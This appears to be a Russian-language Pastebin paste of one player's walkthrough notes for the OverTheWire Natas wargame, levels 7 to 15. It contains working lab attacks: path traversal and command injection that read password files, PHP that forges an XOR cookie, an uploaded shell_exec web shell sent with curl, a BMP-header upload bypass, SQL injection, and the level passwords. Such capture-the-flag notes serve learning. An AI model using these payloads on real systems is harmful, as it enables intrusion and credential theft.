Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- lvl 7-8 просто подставил /etc/natas_webpass/natas8 после http://natas7.natas.labs.overthewire.org/index.php?page=
- lvl 8-9 сначала не нашел ничего интересного, но потом глянул в page source на сайте, там base64. Декодируем M2QzZDUxNjM0Mzc0NmQ0ZDZkNmMzMTU2Njk1NjMzNjIK - ничего не выходит,
- затем заметил другие переменные. Нагуглил что тут поможет пхп. php -a php > echo hex2bin("3d3d516343746d4d6d6c315669563362");
- ==QcCtmMml1ViV3b
- php > echo strrev("==QcCtmMml1ViV3b");
- b3ViV1lmMmtCcQ==
- php > echo base64_decode("b3ViV1lmMmtCcQ==");
- oubWYf2kBq
- lvl 9-10 увидел скрипт, сперва пытался подсунуть команду через && затем вспомнил про сепаратор ;. В итоге "; cat /etc/natas_webpass/natas10"
- lvl 10-11 все то же самое, только теперь ищем везде .* /etc/natas_webpass/natas11
- lvl 11-12 Увидел XOR и начал гуглить. Прогнал через burp, нашел cookies. Поскольку в пхп не шарю, не сразу дошло что можно исаользовать готовый кусок в исходниках.
- <?php
- function xor_encrypt($in) {
- $key = json_encode(array("showpassword"=>"no", "bgcolor"=>"#ffffff"));
- $text = $in;
- $outText = '';
- // Iterate through each character
- for($i=0;$i<strlen($text);$i++) {
- $outText .= $text[$i] ^ $key[$i % strlen($key)];
- }
- return $outText;
- }
- $decoded = xor_encrypt(base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw'));
- echo($decoded);
- ?>
- На выходе получаем строчку. qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
- <?php
- function xor_encrypt($in) {
- $key = 'qw8J';
- $text = $in;
- $outText = '';
- // Iterate through each character
- for($i=0;$i<strlen($text);$i++) {
- $outText .= $text[$i] ^ $key[$i % strlen($key)];
- }
- return $outText;
- }
- $data = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
- $cookie = base64_encode(xor_encrypt(json_encode($data)));
- print($cookie);
- ?>
- В burp подставил получившееся значение, в ответ получил пасс EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
- lvl 12-13 На первую часть квеста понадобилась помощь зала-
- <?php
- $output = shell_exec('cat /etc/natas_webpass/natas13');
- echo $output;
- ?>
- Потом залил это дело curl вот так.
- curl -F filename=upload.php -F uploadedfile=@upload.php -u natas12:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3 http://natas12.natas.labs.overthewire.org/
- curl -u natas12:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3 http://natas12.natas.labs.overthewire.org/upload/ke23dcmj43.php
- jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
- lvl 13-14 чуть модифицировал пхп, добавив в начало BMP. в итоге
- curl -F filename=upload2.php -F uploadedfile=@upload2.php -u natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY http://natas13.natas.labs.overthewire.org/
- curl -u natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY http://natas13.natas.labs.overthewire.org/upload/4m7zxzz11x.php
- BMPLg96M10TdfaPyVBkJdjymbllQ5L6qdl1.
- lvl 14-15. смотрим сорс - mysql. Тут к гадалке не ходи - нужна инъекция.
- Нагуглил SQL Injection Based on ""="" is Always True.
- Исользуем "=" в качестве логина с паролем - выходит запрос вида
- SELECT * from users where username = ""="" and password = ""=""
- Получаем пароль.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement